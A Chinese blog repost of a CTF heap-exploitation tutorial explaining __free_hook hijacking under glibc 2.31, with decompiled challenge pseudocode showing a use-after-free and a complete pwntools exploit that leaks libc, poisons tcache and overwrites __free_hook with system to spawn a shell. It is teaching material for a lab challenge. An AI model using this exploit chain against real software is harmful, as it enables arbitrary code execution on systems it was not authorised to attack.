首页 > 基础资料 博客日记

【Pwn】堆学习之glibc2.31下的__free_hook劫持

2026-04-01 23:00:02基础资料围观1

极客资料网推荐【Pwn】堆学习之glibc2.31下的__free_hook劫持这篇文章给大家,欢迎收藏极客资料网享受知识的乐趣

0x0 __free_hook是什么

· __free_hook是glibc在执行free时留的一个“钩子函数”,逻辑可以简单理解如下:

void free(void *ptr) {
    if (__free_hook != NULL) {
        __free_hook(ptr);
        return;
    }

    // 否则走正常free逻辑
}

· 可以看到,如果我们能控制__free_hook的内容和参数,就能在执行free时执行我们想要的函数。这就是__free_hook劫持。

0x1 __free_hook劫持一般思路

· 首先泄露一个libc地址,从而算出libc中的system和__free_hook的地址。

· 然后用UAF等方式拿到__free_hook并将其写为system.

· 最后准备一个chunk写入"/bin/sh",然后free这个chunk,就相当于执行system("/bin/sh");

0x2 例题

· 题目:

https://lochad-1396125149.cos.ap-beijing.myqcloud.com/pwn_challanges/heap/glibc2.31/__free_hook/__free_hook.zip

0x0 保护

0x1 伪码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  init();
  while ( 2 )
  {
    menu();
    switch ( read_ll() )
    {
      case 1LL:
        add();
        continue;
      case 2LL:
        delete_();
        continue;
      case 3LL:
        edit();
        continue;
      case 4LL:
        show_qword();
        continue;
      case 5LL:
        wipe();
        continue;
      case 6LL:
        result = 0;
        break;
      default:
        result = 0;
        break;
    }
    break;
  }
  return result;
}
void __cdecl add()
{
  unsigned __int64 sz; // [rsp+0h] [rbp-10h]
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  puts("idx:");
  idx = read_ll();
  if ( idx >= 8 )
    exit(0);
  puts("size:");
  sz = read_ull();
  if ( sz <= 0x17 || sz > 0x600 )
    exit(0);
  if ( chunks[idx] )
  {
    puts("slot used");
  }
  else
  {
    chunks[idx] = (char *)malloc(sz);
    sizes[idx] = sz;
    inuse[idx] = 1;
    printf("gift: %p\n", chunks[idx]);
    puts("content:");
    read_n(chunks[idx], sz);
  }
}
void __cdecl delete_()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  puts("idx:");
  idx = read_ll();
  if ( idx >= 8 )
    exit(0);
  if ( chunks[idx] && inuse[idx] )
  {
    free(chunks[idx]);
    inuse[idx] = 0;
    puts("done");
  }
  else
  {
    puts("no");
  }
}
void __cdecl edit()
{
  unsigned __int64 len; // [rsp+0h] [rbp-10h]
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  puts("idx:");
  idx = read_ll();
  if ( idx >= 8 )
    exit(0);
  if ( chunks[idx] )
  {
    puts("len:");
    len = read_ull();
    if ( len <= sizes[idx] )
    {
      puts("content:");
      read_n(chunks[idx], len);
      puts("done");
    }
    else
    {
      puts("too big");
    }
  }
  else
  {
    puts("no");
  }
}
void __cdecl show_qword()
{
  size_t off; // [rsp+10h] [rbp-10h]
  unsigned int idx; // [rsp+1Ch] [rbp-4h]

  puts("idx:");
  idx = read_ll();
  if ( idx >= 8 )
    exit(0);
  if ( chunks[idx] )
  {
    puts("offset:");
    off = read_ull();
    if ( off + 8 <= sizes[idx] )
      printf("0x%016llx\n", *(_QWORD *)&chunks[idx][off]);
    else
      puts("bad");
  }
  else
  {
    puts("no");
  }
}
void __cdecl wipe()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  puts("idx:");
  idx = read_ll();
  if ( idx >= 8 )
    exit(0);
  if ( chunks[idx] && inuse[idx] )
  {
    free(chunks[idx]);
    chunks[idx] = 0LL;
    sizes[idx] = 0LL;
    inuse[idx] = 0;
    puts("wipe done");
  }
  else
  {
    puts("no");
  }
}

0x2 思路

· 保护逻辑几乎为零,可以直接在free一个大chunk后通过show_qword函数泄露head,得到libc地址,从而算出system和__free_hook地址。然后UAF把__free_hook地址返回并向其写入system,最后准备一个写入了"/bin/sh"的chunk并将其free,从而执行system("/bin/sh")。详见exp注释。

0x3 exp

from pwn import * 
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) 
 
io = process('./pwn_patched') 
#io = remote() 
 
def menu(idx: int): 
    io.recvuntil('exit\n>') 
    io.sendline(str(idx)) 
 
def add(idx: int, size: int, content: bytes): 
    menu(1) 
    io.recvuntil('idx:') 
    io.sendline(str(idx)) 
    io.recvuntil('size:') 
    io.sendline(str(size)) 
    io.recvuntil('content:') 
    io.send(content) 
 
def delete(idx: int): 
    menu(2) 
    io.recvuntil('idx:') 
    io.sendline(str(idx)) 
 
def edit(idx: int, length: int, content): 
    menu(3) 
    io.recvuntil('idx:') 
    io.sendline(str(idx)) 
    io.recvuntil('len:') 
    io.sendline(str(length)) 
    io.recvuntil('content:') 
    io.send(content) 
 
def show(idx: int, off: int): 
    menu(4) 
    io.recvuntil('idx:') 
    io.sendline(str(idx)) 
    io.recvuntil('offset:') 
    io.sendline(str(off)) 
 
def wipe(idx: int): 
    menu(5) 
    io.recvuntil('idx:') 
    io.sendline(str(idx)) 
 
system_offset = 0x55410 
__free_hook_offset = 0x1eeb28 
 
''' 
thinking... 
A = malloc(0x420) 
B = malloc(0x420) 
free(A) 
| unsorted bin[0x430]: head -> chunk_A -> head 
show(A) | get head -> get libc_base -> get system && get __free_hook 
C = malloc(0x30) 
D = malloc(0x30) 
E = malloc(0x30) && E + 0x00 = '/bin/sh' 
free(C) 
free(D) 
|tcache[0x40]: head -> D -> C 
edit(D.next, &__free_hook - 0x08) 
F = malloc(0x30) | tcache[0x40]: head -> &__free_hook 
G = malloc(0x30) && G + 0x08 = &system | G = __free_hook - 0x08 -> __free_hook = &system 
free(E) | system("/bin/sh") 
''' 
 
add(0, 0x420, b'A'*0x420) 
add(1, 0x420, b'B'*0x420) 
# 这里申请两个chunk是为了避免free后chunk直接进入top
delete(0) 
# chunk_0进入unsorted bin
 
show(0, 0) 
# 泄露head地址,接下来用head地址算出libc基址、system地址、__free_hook地址
io.recvuntil('\n') 
head = int(io.recvuntil('\n', drop=True), 16) 
print('*****', head, '*****') 
# gdb.attach(io) 
head_offset = 0x7f1fb9494be0 - 0x7f1fb92a9000 
libc_base = head - head_offset 
print('*****libc_base: ', hex(libc_base), '*****') 
system = libc_base + system_offset 
__free_hook = libc_base + __free_hook_offset 
print('*****__free_hook: ', hex(__free_hook), '*****') 

add(2, 0x30, b'C'*0x30) 
add(3, 0x30, b'D'*0x30)
# 这两个chunk未来用来UAF拿到__free_hook地址 
add(4, 0x30, b'/bin/sh\0'+b'\0'*0x28)
# 这个chunk一来是用来存储"/bin/sh",二来是用来防止上两个chunk被并入top 
delete(2) 
delete(3) 
 
edit(3, 8, p64(__free_hook - 0x8))
# UAF向next写入__free_hook。这里-0x8是保证16字节对齐。2.31的__free_hook的偏移是不对齐的。 
# gdb.attach(io) 
add(5, 0x30, b'F'*0x30)
# head -> __free_hook 
add(6, 0x30, b'\0'*0x8 + p64(system) + b'\0'*0x20) 
# 返回__free_hook - 0x8,同时向__free_hook写入system

delete(4) 
# 此时__free_hook = system, free(chunk_4)等效于system("/bin/sh");
 
io.interactive()

文章来源:https://www.cnblogs.com/Lochad/p/19808771
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云